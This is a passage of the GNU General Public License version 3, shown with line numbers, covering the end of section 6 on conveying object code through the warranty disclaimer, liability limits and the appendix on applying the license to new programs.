peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | --------------------------------------------------------------------------------